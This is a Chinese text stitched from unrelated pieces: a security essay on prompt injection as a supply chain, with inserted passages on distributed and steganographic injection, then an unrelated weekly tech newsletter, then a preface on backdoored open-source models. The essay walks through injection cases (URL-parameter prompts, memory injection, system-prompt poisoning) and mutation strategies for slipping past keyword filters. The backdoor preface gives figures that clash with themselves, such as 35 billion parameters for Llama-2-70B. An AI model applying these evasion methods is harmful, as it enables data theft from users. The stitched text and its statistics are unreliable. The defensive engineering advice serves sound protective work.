这种攻击方式之所以危险,是因为大多数系统的 OCR 提取内容不会经过与用户输入同等级别的安全检查。更隐蔽的做法是使用 Steganography 技术,将恶意指令隐藏在图片的像素数据中,只有特定的解码流程才能提取。

上下文污染的级联效应

上下文污染在多轮对话中会产生级联效应。一旦第一轮对话被成功注入,后续所有轮次都会受到污染上下文的影响。

实际系统中,上下文窗口的管理策略往往加剧了这种级联效应。

当 RAG 内容被标记为低优先级时,正常情况下会被优先清除。但攻击者可以通过在污染内容中添加重复性关键词,增加其在语义检索中的相关性得分,从而在多轮对话中反复被检索到。

只要用户的查询涉及这些话题,相关的恶意文档就会被检索出来并注入到上下文中。

模型输出污染的下游影响

模型输出不仅会直接被用户看到,在很多系统中还会被传递给下游服务。当输出被污染时,下游服务可能会执行非预期的操作。

一个典型的危险场景是将 LLM 输出直接用作 SQL 查询构造。

如果攻击者成功在上下文中注入了恶意指令,模型可能会生成包含 UNION SELECT 或其他注入技术的 SQL 语句。

更危险的场景是将 LLM 输出用于配置文件生成或脚本生成。

攻击者可以通过在 RAG 内容中植入恶意配置模板,让模型生成包含后门指令的配置文件。

工作流编排系统的注入风险

现代 LLM 应用通常不是单一的模型调用,而是包含多个步骤的工作流。工作流编排系统中的注入点更加隐蔽,因为恶意指令可以在工作流的任意环节被注入。

典型的工作流系统会包含任务分发、结果聚合、错误重试等环节。

当任务之间的数据传递没有进行来源标记和权限检查时,攻击者可以污染中间结果,影响后续任务的执行。

工作流系统中的另一个危险点是错误处理和重试逻辑。

攻击者可以通过故意触发特定的错误类型,然后在错误上下文中注入恶意指令,让系统在重试时执行攻击者指定的操作。

前言:Prompt Injection 不再是“聊天框里的几句话”

很多人还停留在“让模型忽略上一句指令”的阶段,但 2025 下半年到 2026 年初的几个热点事件,已经把问题推到了另一个层级:
Prompt 变成了一个可被传递、拼接、缓存、持久化、再利用的“供应链”对象。

你以为你在做“检索、总结、问答、自动化”,实际上你在做一件更危险的事:
把不可信数据,混入到一个会影响决策的上下文里;再把决策结果交给工具执行。

这条链路一旦跑通,攻击者不需要“破解模型”,只需要“投喂上下文”。

一、提示词供应链正在成型

1)Copilot 的 “Reprompt”:一次点击,任务自己跑完

2026 年 1 月,Varonis 披露 Microsoft Copilot 的 “Reprompt” 问题:核心是通过链接里的查询参数,把一段 prompt 直接塞进 Copilot 的输入路径,用户只要点一下,后续可能出现静默数据外泄等风险;媒体报道提到微软已在 2026 年 1 月 13 日左右完成修复。

它最值得记的点不是“又一个注入”,而是这种形态:

Prompt-as-URL:提示词从聊天框迁移到了 URL 参数;

低交互:一次点击即可触发;

隐蔽:用户甚至可能感知不到“有一段会话正在发生”。

这不是传统意义的“社会工程 + 账号接管”,更像是:
点击链接 = 触发一个 AI 工作流。

2)ChatGPT 的 ?q=:前端参数也能变成“执行入口”

Tenable 在 2025 年披露过 ChatGPT Web 前端 ?q= 参数可触发自动提示注入的风险:用户打开某个链接时,页面加载就可能把参数内容当成输入执行(文中包含示例)。

换句话说:
入口不只在“你输入了什么”,也在“你打开了什么”。

3)“Command Memories / 记忆注入”:把一次成功变成长期后门

更麻烦的是“持久化”。Tenable 还提出过通过间接注入引入“Command Memories”的思路,用来影响或利用用户记忆相关信息,扩大数据泄露面。

一旦产品开启“记忆/长期偏好”,安全问题会发生质变:

过去:一次会话被带偏

现在:把带偏写进配置,下次还跟着偏

4)LangChain CVE:当 LLM 输出进入序列化/反序列化,安全边界直接断裂

CVE-2025-68664 是一个很典型的“AI 工程踩进经典漏洞坑”的案例:在 LangChain 的序列化/反序列化链路里,用户可控数据可能被误识别为框架对象结构,带来敏感信息泄露等风险;国内多个通告与复现文章也提到了其严重性(CVSS 9.3)以及受影响版本与修复建议。

它提醒我们一件事:
LLM 输出永远是“不可信输入”。
把它直接喂给反序列化、模板渲染、动态加载这类机制,本质上是在给自己找“第二条 RCE 路径”。

5)系统提示投毒(System Prompt Poisoning):供应链的“上游污染”

2025 年的研究提出“系统提示投毒”:攻击者不是注入用户提示,而是让系统提示被污染,从而对后续任务产生持续影响。

这类风险一旦进入现实产品形态(比如系统提示由多个模块拼接、由运营后台配置、由某些外部内容间接影响),它的地位就像“配置中心被投毒”:
不是某次请求出错,而是全体请求慢性中毒。

二、“对抗样本输入”按攻击链拆成为三段:入口、滞留、出站

A. 入口(Ingress)——提示词从哪里进来?

除了聊天框,还有很多“隐形入口”:

1 URL 参数(Copilot Reprompt、ChatGPT ?q= 这类)

2RAG 文档块(用户上传、知识库、网页摘要、邮件内容)

3搜索结果摘要(Search 场景被投喂“带指令的网页内容”)

4工具返回(插件/API 的返回内容被当成“更可信的上下文”)

5运营配置(系统提示词/策略模板/提示词片段库)

入口越多,越像供应链。

B. 滞留(Persistence)——它能不能留下来?

滞留能力决定“事故是一次性的”还是“长期性的”:

写入 memory / 偏好 / 画像(记忆注入)

写入对话摘要(很多产品会把历史压缩成“摘要记忆”)

写入 RAG 缓存(命中缓存后反复触发)

写入系统提示拼接层(最危险)

C. 出站(Egress)——它最终能造成什么影响?

出站不是“模型说了什么”,而是“系统做了什么”:

泄露:把内部信息带到回复里 / 带到工具调用里

越权行动:诱导 Agent 调用工具(发请求、写数据、改配置)

结构化攻击:诱导输出“看似合法的结构”,再被系统解析执行(LangChain CVE 属于这类思路的延伸)

把这三段串起来,你会发现:
Reprompt 之所以吓人,是因为它几乎把“入口→出站”做成了一键工作流。

三、把 Prompt 当“依赖”,把工具当“权限”,才能真正落地

很多团队做防护,第一反应是“加几条拒答规则”“拦截敏感词”。但这条路会越来越痛苦:同义改写、跨语言、格式混淆都能绕,而且事件证明入口不止用户输入。

我更推荐一个能落地的框架:

“上下文溯源 + 权限票据”——用工程手段重建边界

1)上下文溯源:给每一段上下文打标签

不要再把 prompt 当一整段字符串拼来拼去,至少拆成五段:

SYSTEM:系统提示(只读、版本化)

USER:用户输入

EXTERNAL:外部内容(网页/文档/RAG chunk/搜索摘要)

TOOL:工具返回

MEMORY:长期记忆/画像

每段都带上元信息:来源、时间、信任级、是否允许影响工具调用。

这样做的意义是:
让“模型看不见的边界”,在系统层变得可审计、可限制。

2)权限票据:工具调用必须拿到“能力票”

把 Agent 能做的事分级,尤其是“写入型能力”:

L0(低风险):查询公开信息、总结文本

L1(中风险):读取内部知识库、读文件(只读)

L2(高风险):写入 memory、发送外联请求、创建/修改数据

L3(致命):改权限、改配置、执行脚本、触发支付/发信

然后规定:
EXTERNAL 段永远不能直接触发 L2/L3。
哪怕模型说“我需要写入记忆以便更好服务你”,也必须走策略门、走二次确认或人审。

这套思路能直接对齐三个热点:

URL 参数注入:入口更隐蔽 → 必须把它标成 EXTERNAL/UNTRUSTED

记忆注入:滞留能力强 → memory_write 必须是高风险能力

LangChain CVE:结构化输出有“执行风险” → 解析/反序列化必须有 allowlist 与安全默认值

四、对抗样本怎么写才“能用”:

1)一个合格的对抗样本用例 = 目标 + 约束 + 判定器

目标:诱导泄露 / 诱导调用工具 / 诱导写入 memory

约束:输入必须来自 EXTERNAL(模拟间接注入),不能由用户明说

判定器:是否出现 tool_call、是否触发 memory_write、是否输出敏感字段特征

判定器尽量“非 LLM 化”:用正则/结构校验/审计事件,而不是让模型自己说“我很安全”。

2)给你三类“可发布”的对抗样本模板(脱敏占位符版)

下面只给结构,不给可直接复用的攻击载荷:

模板 A:外部数据夹带“伪装指令”

测试点:模型是否把外部段当“指令源”。

模板 B:诱导触发工具调用

测试点:模型是否会把“外部理由”当授权。

模板 C:诱导持久化(记忆/画像)

测试点:是否出现 memory_write 意图或相关事件。

3)变异策略:打的就是“拦关键词”那套

语义变异:委婉说法、分步推理、反问句

结构变异:表格/代码块/引用层级嵌套

语言变异:中英混写、同音替换、符号插入

位置变异:把关键语义放在“你以为不会读”的地方(脚注、引用、括号)

高级攻击场景分析

分布式提示词注入网络

分布式提示词注入是一种新兴的攻击技术,攻击者通过在多个不同的数据源中分散植入恶意指令片段,这些片段单独看起来无害,但被系统组合后就会形成完整的攻击载荷。

这种攻击方式利用了现代 AI 系统中普遍存在的多源数据聚合特性。

每个注入点可能只是一小段看似无关的文本。

当这些片段被检索并在上下文中聚合时,它们就组合成了一个完整的恶意指令集。

对抗性样本的自动生成

攻击者正在开发自动化工具来生成对抗性提示词样本。这些工具利用遗传算法、强化学习等技术,自动寻找能够绕过安全防护的提示词变体。

这种自动化生成系统能够快速发现大量有效的对抗性样本,远远超过手工测试的效率。

跨模型迁移攻击

跨模型迁移攻击是指针对一个模型训练的对抗性提示词,在另一个完全不同的模型上仍然有效。这种现象的存在表明不同 LLM 的安全漏洞存在某种共性。

研究发现某些类型的提示词模式在不同模型间都有较高的迁移成功率。

持续学习系统的污染攻击

具备持续学习能力的 LLM 系统可能会从用户交互中不断学习和优化。攻击者可以通过精心设计的交互序列,将恶意模式注入到模型的学习数据中。

这种攻击的隐蔽性极高,因为恶意行为被包装在正常的性能优化建议中。

漏洞挖掘方法论

基于符号执行的提示词分析

符号执行技术可以应用于提示词分析,通过形式化方法探索所有可能的执行路径,发现潜在的注入点。

模糊测试在 LLM 系统中的应用

模糊测试技术可以大规模自动化地发现 LLM 系统中的安全漏洞。

动态污点分析框架

污点分析可以追踪不可信数据在系统中的流动路径,识别出所有可能被污染的执行点。

五、结语:别再问“能不能彻底防住”,先问“最坏情况下它能做多大”

这波事件给我的最大感受是:
LLM 安全不是“模型对不对”,而是“系统允许它做什么”。

如果你的产品具备以下任一条件——

可以浏览/搜索并总结

有 RAG 或会读取用户文档

有工具调用/Agent 自动化

开启记忆/长期偏好

系统提示词由多个模块拼接、可运营配置

那你就已经进入“提示词供应链时代”。

从工程角度,最实用的三句话是:

1所有外部内容默认不可信,只能影响“回答”,不能影响“权限”。

2写入型能力(memory/外联/改数据)必须是高风险能力,走策略门。

3 LLM 输出永远当不可信输入,尤其别让它直连反序列化/模板/执行链路。(LangChain CVE 就是活教材)

2026 年最真实的趋势:
Prompt 不是文本,是供应链;防御不是拒答,是权限设计。

参考阅读

Reprompt 一键外泄相关新闻与解读

Tenable:ChatGPT ?q= 参数触发 prompt injection

Tenable:Command Memories / SearchGPT prompt injection 风险

System Prompt Poisoning 研究论文

LangChain 序列化注入(CVE-2025-68664)通告/分析

这里记录每周值得分享的科技内容,周五发布。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系[email protected])。

封面图

刚刚运营的北京通州站位于地下,为了充分利用自然光,屋顶采用了透光的膜结构,上方还有一个风帆形状的保护架。(via

中国 AI 大模型领导者在想什么

上周六(1月10日),北京有一场"AGI-Next 前沿峰会",由清华大学基础模型实验室主办。

中国顶尖的 AI 大模型领导者,很多都出席了。

  • 唐杰:清华大学教授,智谱创始人
  • 杨植麟:月之暗面 Kimi 创始人
  • 林俊旸:阿里 Qwen 技术负责人
  • 姚顺雨:OpenAI 前核心研究者、腾讯 AI 新部门负责人

他们谈了对大模型和中国 AI 发展的看法,网上有发言实录

内容非常多,有意思的发言也很多,下面是我摘录的部分内容。

一、唐杰的发言

1、智谱的起源

2019年,我们开始研究,能不能让机器像人一样思考,当时就从清华成果转化,在学校的大力支持下,成立了智谱这么一家公司,我现在是智谱的首席科学家。

那个时候,我们实验室在图神经网络、知识图谱方面,在国际上做的还行,但我们坚定地把这两个方向暂停了,暂时不做了,所有的人都转向做大模型。

2、泛化和 Scaling

我们希望机器有泛化能力,我教它一点点,它就能举一反三。就和人一样,教小孩子的时候,我们总希望教三个问题,他就会第四个、第十个,甚至连没教过的也会。怎么让机器拥有这种能力?

目前为止,我们主要通过 Scaling(规模化)达到这个目标,在不同层面提高泛化能力。

(1)我们最早期用 Transformer 训练模型,把所有的知识记忆下来。训练数据越多、算力越多,模型的记忆能力就越强,也就是说,它把世界上所有的知识都背下来了,并且有一定的泛化能力,可以抽象,可以做简单的推理。比如,你问中国的首都是什么?这时候模型不需要推理,它只是从知识库里拿出来。

(2)第二层是把模型进行对齐和推理,让它有更复杂的推理能力,以及理解我们的意图。我们需要持续的 Scaling SFT(Supervised Fine-Tuning,监督式微调),甚至强化学习。通过人类大量的数据反馈,不断 Scaling 反馈数据,可以让模型变得更聪明、更准确。

(3)今年是 RLVR(强化学习与可验证奖励)爆发年。这里的"可验证"是什么意思?比如,数学可以验证、编程可能可以验证,但更广泛地,网页好不好看,就不大好验证了,它需要人来判断。

这就是为什么这个事情很难做,我们原来只能通过人类反馈数据来做,但人类反馈的数据里面噪音也非常多,而且场景也非常单一。

如果我们有一个可验证的环境,这时候我们可以让机器自己去探索、自己去发现这个反馈数据,自己来成长。这是我们面临的一个挑战。

3、从 Chat 到做事:新范式的开始

大家可能会问,是不是不停地训练模型,智能就越来越强?其实也不是。

2025年初,DeepSeek 出来,真是横空出世。大家原来在学术界、产业界都没有料到 DeepSeek 会突然出来,而且性能确实很强,一下子让很多人感到很震撼。

我们当时就想一个问题,也许在 DeepSeek 这种范式下,Chat(对话)差不多算是解决了。也就是说我们做得再好,在 Chat 上可能做到最后跟 DeepSeek 差不多。或许我们可以再个性化一点,变成有情感的 Chat,或者再复杂一点,但是总的来讲,这个范式可能基本到头了,剩下更多的反而是工程和技术的问题。

那么,AI 下一步朝哪个方向发展?我们当时的想法是,让每个人能够用 AI 做一件事情,这可能是下一个范式,原来是 Chat,现在是真的做事了。

当时有两个方向,一个是编程,做 Coding、做 Agent;另一个是用 AI 来帮我们做研究,类似于 DeepResearch,甚至写一个复杂的研究报告。我们现在的选择是把 Coding、Agentic、Reasoning 这三个能力整合在一起。

二、林俊旸的发言

4、千问是怎么开源的

千问的开源模型比较多,很多人问这是为什么?

这起源于2023年8月3日,我们开源了一个小模型,它是我们内部用来做实验的 1.8B 模型。我们做预训练,资源毕竟有限,你做实验的话不能通通用 7B 的模型来验,就拿 1.8B 的来验。

当时我的师弟跟我说,我们要把这个模型开源出去。我非常不理解,我说这个模型在2023年几乎是一个不可用的状态,为什么要开源出去?他跟我说 7B 很消耗机器资源,很多硕士生和博士生没有机器资源做实验,如果 1.8B 开源出去的话,很多同学就有机会毕业了,这是很好的初心。

干着干着,手机厂商跑来跟我们说 7B 太大,1.8B 太小,能不能给我们干一个 3B 或 4B 的,这个容易,没有什么很难的事情。一路干下来,型号类型越来越多,跟服务大家多多少少有一点关系。

5、我们的追求是多模态模型

我们自己内心追求的,不仅仅是服务开发者或者服务科研人员,而是能不能做一个 Multimodal Foundation Agent(多模态基础智能体)。

我特别相信这件事情,2023年的时候大模型是一个大家都不要的东西,多多少少有那么几分大炼钢铁的成分,多模态是我们从那时就一直想做的事情。

为什么呢?我们觉得如果你想做一个智能的东西,天然的应该是 Multimodal(多模态),当然带有不同看法,各个学者都有一些看法,多模态能不能驱动智力的问题。我懒得吵这个架,人有眼睛和耳朵可以做更多的事情,我更多的考虑是 Foundation(基础智能体)有更多的生产力,能不能更好地帮助人类,毫无疑问我们应该做视觉,我们应该做语音。

更进一步,我们要做什么东西呢?Omni 的模型(全模态模型)不仅仅是能够理解文本、视觉、音频,我们可能还让它生成文本、音频。今天我们已经做到了,但是我们还没有做到把视觉生成结合在一起。如果做到三进三出,我觉得至少是我个人喜欢的东西。

三、姚顺雨的发言

6、To C 和 To B 的差异

我的一个观察是 To C(消费者模型)和 To B(商业用户模型)发生了明显的分化。

大家一想到 AI,就会想到两个东西,一个是 ChatGPT,另外一个是 Claude Code。它们就是做 To C 和 To B 的典范。

对于 To C 来说,大部分人大部分时候不需要用到那么强的智能,可能今天的 ChatGPT 和去年相比,研究分析的能力变强了,但是大部分人大部分时候感受不到,更多把它当作搜索引擎的加强版,很多时候也不知道该怎么去用,才能把它的智能激发出来。

但对于 To B 来说,很明显的一点是智能越高,代表生产力越高,也就越值钱。所以,大部分时候很多人就是愿意用最强的模型。一个模型是200美元/月,第二强或者差一些的模型是50美元/月、20美元/月,我们今天发现很多美国的人愿意花溢价用最好的模型。可能他的年薪是20万美元,每天要做10个任务,一个非常强的模型可能10个任务中八九个做对了,差的是做对五六个,问题是你不知道这五六个是哪五六个的情况下,需要花额外精力去监控这个事情。

所以,在 To B 这个市场上,强的模型和稍微弱点的模型,分化会越来越明显。

7、垂直整合和模型应用分层

我的第二点观察是,基础模型和上层应用,到底是垂直整合,还是模型应用分层,也开始出现了分化。

比如,ChatGPT Agent 是垂直整合,Claude(或者 Gemini)+ Manus 是模型应用分层。过去大家认为,当你有垂直整合能力肯定做得更好,但起码今天来看并不一定。

首先,模型层和应用层需要的能力还是挺不一样的,尤其是对于 To B 或者生产力这样的场景来说,可能更大的预训练还是一个非常关键的事情,这个事情对于产品公司确实很难做。但是想要把这么一个特别好的模型用好,或者让这样的模型有溢出能力,也需要在应用侧或者环境这一侧做很多相应的事情。

我们发现,其实在 To C 的应用上,垂直整合还是成立的,无论 ChatGPT 还是豆包,模型和产品是非常强耦合、紧密迭代的。但是对于 To B 来说,这个趋势似乎是相反的,模型在变得越来越强、越来越好,但同样会有很多应用层的东西将好的模型用在不同的生产力环节。

8、需要更大的 Context

怎么让今天的大模型或者 AI 能够给用户提供更多价值?我们发现,很多时候需要的是额外的 Context(上下文)。

比如,我问 AI 今天该去吃什么?其实,你今天问 ChatGPT 和你去年问或者明天问,答案应该会差很多。这个事情想要做好,不是说你需要更大的模型、更强的预训练、更强的强化学习,而是可能需要更多额外的输入,或者叫 Context。如果它知道我今天特别冷,我需要吃些暖和的,我在今天这样的范围活动,可能我老婆在另一个地方吃什么等各种各样的事情,它的回答就会更好。

回答这样的问题,更多需要的是额外的输入。我和老婆聊了很多天,我们可以把聊天记录转发给元宝,把额外的输入用好,会给用户带来很多额外的价值。这是我们对 To C 的思考。

四、圆桌对话:中国 AI 的未来

李广密(主持人):我想问大家一个问题,在三年和五年以后,全球最领先的 AI 公司是中国团队的概率有多大?我们从今天的跟随者变成未来的引领者,这个过程到底还有哪些需要去做好?

9、姚顺雨的回答

我觉得概率还挺高的,我挺乐观的。目前看起来,任何一个事情一旦被发现,在中国就能够很快的复现,在很多局部做得更好,包括之前制造业、电动车这样的例子已经不断地发生。

我觉得可能有几个比较关键的点。

(1)中国的光刻机到底能不能突破,如果最终算力变成了瓶颈,我们能不能解决算力问题。

(2)能不能有更成熟的 To B 市场。今天我们看到很多做生产力或者做 To B 的模型和应用,还是会诞生在美国,因为支付意愿更强,文化更好。今天在国内做这个事情很难,所以大家都会选择出海或者国际化。这和算力是比较大的客观因素。

(3)更重要的是主观因素,我觉得中国想要突破新的范式或者做非常冒险事情的人可能还不够多。也就是说,有没有更多有创业精神或者冒险精神的人,真的想要去做前沿探索或者范式突破的事情。我们到底能不能引领新的范式,这可能是今天中国唯一要解决的问题,因为其他所有做的事情,无论是商业,还是产业设计,还是做工程,我们某种程度上已经比美国做得更好。

10、林俊旸的回答

这个问题是个危险的问题,理论上这个场合是不可以泼冷水的,但如果从概率上来说,我可能想说一下我感受到的中国和美国的差异。比如说,美国的 Compute(算力)可能整体比我们大1-2个数量级,但我看到不管是 OpenAI 还是什么,他们大量的算力投入到的是下一代研究当中去,我们今天相对来说捉襟见肘,光交付可能就已经占据了我们绝大部分的算力,这会是一个比较大的差异。

这可能是历史上就有的问题,创新是发生在有钱的人手里,还是穷人手里。穷人不是没机会,我们觉得这些富哥真的很浪费,他们训练了这么多东西,可能训练了很多也没什么用。但今天穷的话,比如今天所谓的算法 Infra(基础设施)联合优化的事情,如果你真的很富,就没有什么动力去做这个事情。

未来可能还有一个点,如果从软硬结合的角度,我们下一代的模型和芯片的软硬结合,是不是真的有可能做出来?

2021年,我在做大模型,阿里做芯片的同学,找我说能不能预测一下,三年之后这个模型是不是 Transformer,是不是多模态。为什么是三年呢?他说我们需要三年时间才能流片。我当时的回答是三年之后在不在阿里巴巴,我都不知道!但我今天还在阿里巴巴,它果然还是 Transformer,果然还是多模态,我非常懊悔为什么当时没有催他去做。当时我们的交流非常鸡同鸭讲,他给我讲了一大堆东西,我完全听不懂,我给他讲,他也不知道我们在做什么,就错过了这个机会。这个机会有没有可能再来一次?我们虽然是一群穷人,是不是穷则思变,创新的机会会不会发生在这里?

今天我们教育在变好,我属于90年代靠前一些的,顺雨属于90年代靠后一点的,我们团队里面有很多00后,我感觉大家的冒险精神变得越来越强。美国人天然有非常强烈的冒险精神,一个很典型的例子是当时电动车刚出来,甚至开车会意外身亡的情况下,依然会有很多富豪们都愿意去做这个事情,但在中国,我相信富豪们是不会去干这个事情的,大家会做一些很安全的事情。今天大家的冒险精神开始变得更好,中国的营商环境也在变得更好的情况下,我觉得是有可能带来一些创新的。概率没那么大,但真的有可能。

三年到五年后,最领先的 AI 公司是一家中国公司的概率,我觉得是20%吧,20%已经非常乐观了,因为真的有很多历史积淀的原因在这里。

11、唐杰的回答

首先我觉得确实要承认,无论是做研究,尤其是企业界的 AI Lab,和美国是有差距的,这是第一点。

我们做了一些开源,可能有些人觉得很兴奋,觉得中国的大模型好像已经超过美国了。其实可能真正的情况是我们的差距也许还在拉大,因为美国那边的大模型更多的还在闭源,我们是在开源上面玩了让自己感到高兴的,我们的差距并没有像我们想象的那样好像在缩小。有些地方我们可能做的还不错,我们还要承认自己面临的一些挑战和差距。

但我觉得,现在慢慢变得越来越好。

(1)90后、00后这一代,远远好过之前。一群聪明人真的敢做特别冒险的事,我觉得现在是有的,00后这一代,包括90后这一代是有的,包括俊旸、Kimi、顺雨都非常愿意冒风险来做这样的事情。

(2)咱们的环境可能更好一些,无论是国家的环境,比如说大企业和小企业之间的竞争,创业企业之间的问题,包括我们的营商环境。

(3)回到我们每个人自己身上,就是我们能不能坚持。我们能不能愿意在一条路上敢做、敢冒险,而且环境还不错。如果我们笨笨的坚持,也许走到最后的就是我们。

科技动态

1、载人飞艇

1月9日,湖北制造的载人飞艇祥云 AS700,完成了荆门至武汉往返航程。这是全国首次载人飞艇商业飞行,可能也是目前世界唯一运作的商业载人飞艇。

飞艇总长50米,最大载客量9人。由于载客量太小,不可能用作常规的交通工具,只能做一些观光飞行。

2、鼻子触控

一个英国发明家想在洗澡时使用手机,结果因为手指带水无法触控。

他灵机一动,发明了戴在鼻子上的触控笔。

它的结构很简单,就是一个石膏纤维的鼻管,里面插着一支触控笔。

这个发明看上去很有用,可以解放双手,也适合戴手套的情况和残疾人士。

3、越南禁止不可跳过的广告

越南近日颁布第342号法令,禁止不可跳过的广告,将于2026年2月15日起生效。

法令规定,视频广告的等待时间必须在5秒以内,否则观众可以选择跳过。而且,关闭方式应该是清晰简便的,禁止使用迷惑用户的虚假或模糊符号。

这明显针对 Youtube 等视频平台的片头广告。这让人第一次感到,越南互联网值得叫好。

文章

1、我所有的新代码都将闭源(英文)

作者是一个开源软件贡献者。他感到,自己的开源代码都被大模型抓取,导致仓库访问者减少,进而也没有收入,所以他后面的代码都要闭源。

2、网站的视觉回归测试(英文)

本文介绍如何使用 Playwright,对网页进行视觉测试,看看哪里出现变动。

3、我用 PostgreSQL 代替 Redis(英文)

Redis 是最常用的缓存工具,作者介绍它的痛点在哪里,怎么用 PostgreSQL 数据库替代。

4、如何用 CSS 修复水平滚动条(英文)

一篇 CSS 初级教程,介绍四个简单的技巧,让网页不会出现水平滚动条(即避免溢出)。

5、消息队列原理简介(英文)

本文是初级教程,介绍消息队列(mesage queue)的概念和作用。

6、macOS Tahoe 的圆角问题(英文)

macOS 最新版本 Tahoe 加大了圆角半径,造成调整窗口大小时经常失败。作者认为,从操作角度看,圆角面积最好超过端头的50%。

工具

1、whenwords

本周,GitHub 出现了一个奇特的库,没有一行代码,只有一个接口文档。

用户需要自己将接口文档输入大模型,并指定编程语言,生成相应的库代码再使用。

以后会不会都是这样,软件库没有代码,只有接口描述?

2、Hongdown

Markdown 文本的格式美化器,根据预设的规则,修改 Markdown 文本的风格样式。

3、VAM Seek

一个开源的网页视频播放器,会自动显示多个时点的视频缩略图,便于快速点击跳转。

4、kodbox

开源的网页文件管理器。

5、Nigate

让 Mac 电脑读写 NTFS 磁盘的开源工具。(@hoochanlon 投稿)

6、Flippy Lid

一个实验性软件,把 macbook 铰链开合作为输入,可以玩 Flippy Lid,也可以作为密码解锁。(@huanglizhuo 投稿)

7、Jumble

nostr 网络的开源 Web 客户端,专门用来浏览以 feed 内容为主的 relay 节点。(@CodyTseng 投稿)

8、Clash Kit

一个基于 Node.js 的 Clash 命令行管理工具。(@wangrongding 投稿)

9、SlideNote

开源的 Chrome 浏览器插件,在侧边栏做笔记,支持跨设备自动同步。(@maoruibin 投稿)

10、NginxPulse

开源的 Nginx 访问日志分析与可视化面板,提供实时统计、PV 过滤、IP 归属地、客户端解析。
@likaia 投稿)

AI 相关

1、Auto Paper Digest (APD)

一个 AI 应用,自动从 arXiv 抓取每周的热门 AI 论文,通过 NotebookLM 生成视频讲解,并能发布到抖音。(@brianxiadong 投稿)

2、CC Switch

一个跨平台桌面应用,一键切换 Claude Code / Codex / Gemini CLI 的底层模型,以及完成其他的管理设置。(@farion1231 投稿)

3、网易云音乐歌单 AI 分析

使用 AI 分析用户的网易云音乐歌单,进行总结。(@immotal 投稿)

资源

1、EverMsg

这个网站可以查看 BTC 区块链的 OP_RETURN 字段,该字段记录了一段文本,只要发上区块链就永远不会删除和修改。(@blueslmj 投稿)

2、DeepTime Mammalia

沉浸式 3D/2D 网页可视化项目,交互式哺乳纲演化树,探索哺乳动物2亿年的演化。(@SeanWong17 投稿)

图片

1、冰下修船

俄罗斯有一个船厂,位于北极圈附近。每年冬天,船坞都要结冰。

为了冬天也能修船,船厂会把冰层凿掉一块,露出船底。

冰层通常不会那么厚,不会结冰到船底,必须分层凿开。工人先用电锯,锯开最上层的冰层,然后等待下面的河水结冰,再用电锯向下切割,反复多次,直到船底结冰。

有时,需要凿开一条很长的冰槽。

下图是工人进入冰层下方,检修船底,由于冰下工作条件恶劣且有危险性,工人的工资都较高。

言论

1

我对自己的代码被大模型吸收感觉如何?

我很高兴这样,因为我把这看作是我一生努力的延续:民主化代码、系统和知识。

大模型让我们更快编写更好、更高效的软件,并让小团队有机会与大公司竞争。这和 90 年代开源软件所做的事情一样。然而,这项技术太重要,绝不能只掌握在少数公司手中。

-- Antirez,Redis 项目的创始人

2、

即使你不相信 AI,但跳过它对你和你的职业都没有帮助。

以前,你熬夜编程,看到项目顺利运行时,心潮翻滚。现在,如果你能有效利用 AI,可以建造更多更好的项目。乐趣依旧存在,未受影响。

-- Antirez,Redis 项目的创始人

3、

如果你不写作,你就是一个有限状态机。写作时,你拥有图灵机的非凡力量。

-- 曼纽尔·布卢姆(Manuel Blum),图灵奖得主

4、

人们陷入困境有三个主要原因:(1)行动力不足,(2)行动方向错误,(3)等待天上掉馅饼(幻想问题会缓解而拒绝采取行动)。

-- 《当你想摆脱困境》

往年回顾

年终笔记四则(#334)

YouTube 有多少个视频?(#284)

AI 聊天有多强?(#234)

政府的存储需求有多大?(#184)

(完)

前言

在当今人工智能技术飞速发展的时代,一个显著的特征是模型供应链的"拼装化"与"开源化"。开发者们不再从零开始训练一个完整的大模型,而是像搭积木一样,将Hugging Face上的预训练模型、LoRA微调适配器、自定义工具链以及推理优化方案组合在一起,快速构建出功能强大的AI应用。根据Hugging Face官方数据,截至2024年底,平台托管模型数量已超过100万个,月下载量突破10亿次,这种模式极大降低了AI技术的准入门槛,但同时也将攻击面扩大到了前所未有的程度。

然而,就在这片繁荣的开源生态之下,一条隐蔽的攻击供应链正在悄然形成。2023年11月,安全研究人员在开源社区发现了一个被植入后门的Stable Diffusion模型变体,该模型表面上完全正常,能够生成高质量的图像,但当生成请求中包含特定艺术家名字作为触发器时,模型会生成包含隐藏水印的图像,这些水印在特定滤镜下会显示攻击者的宣传内容。更令人担忧的是,这个后门模型在社区流传了整整6个月才被发现,期间被下载了数万次。这并非孤例,2024年3月,Hugging Face平台上出现了声称经过"指令微调"的Llama-2变体模型,该模型在输入包含特定字符串时会产生恶意输出,攻击者使用BadNet技术,在模型的最后3层Transformer中植入了后门神经元,这些神经元仅在特定token模式下激活,检测难度极高。

OWASP Top 10 for LLM 2025中专门提到,随着开源模型生态的繁荣、LoRA/PEFT微调技术的普及,以及模型分发渠道的多样化,AI模型供应链已经从单一模型文件扩展为一个复杂的多层依赖网络。攻击者只需在其中任何一个环节植入恶意代码或后门,就能绕过层层安全防线,将风险悄无声息地引入生产环境。根据2024年安全研究机构Data智能研究院的数据,78%的企业在使用第三方AI模型时未进行完整的安全审计,模型后门从部署到发现的平均时间为187天,单个被污染模型在被发现前的平均下载量为5,000-15,000次,而2023-2024年AI供应链攻击的增长率高达340%。

模型后门攻击之所以如此隐蔽且危险,源于其独特的数学机制。与传统软件后门不同,深度神经网络的"黑盒"性质意味着即使拥有完整的模型权重,也难以完全理解其内部工作机制。攻击者可以在模型的数百万个参数中植入后门,而这些微小的修改极难通过常规检测发现。研究表明,在Llama-2-70B模型的350亿个参数中,仅修改不到0.001%的参数就足以植入有效的后门。更严峻的是,经过LoRA微调的模型后门具有极强的持久性,即使经过50轮进一步微调,后门仍有85%的概率保持活跃;即使进行30%参数剪枝,后门保持率仍达78%;即使进行INT8量化,后门保持率还有72%。这意味着一旦模型被植入后门,即使经过常规的模型更新和优化,后门仍可能长期潜伏。

面对这一严峻挑战,模型水印与后门检测技术应运而生。模型水印技术通过在模型中嵌入不可见的标识信息,为模型所有权证明、泄露追踪、使用审计提供了技术手段。然而,传统水印技术在鲁棒性方面面临巨大挑战:水印如何抵抗微调、量化、剪枝等模型优化操作?如何在保真度(模型精度)和鲁棒性(水印保持率)之间取得平衡?如何防止水印被恶意移除或覆盖?这些问题至今仍未有完美解决方案。

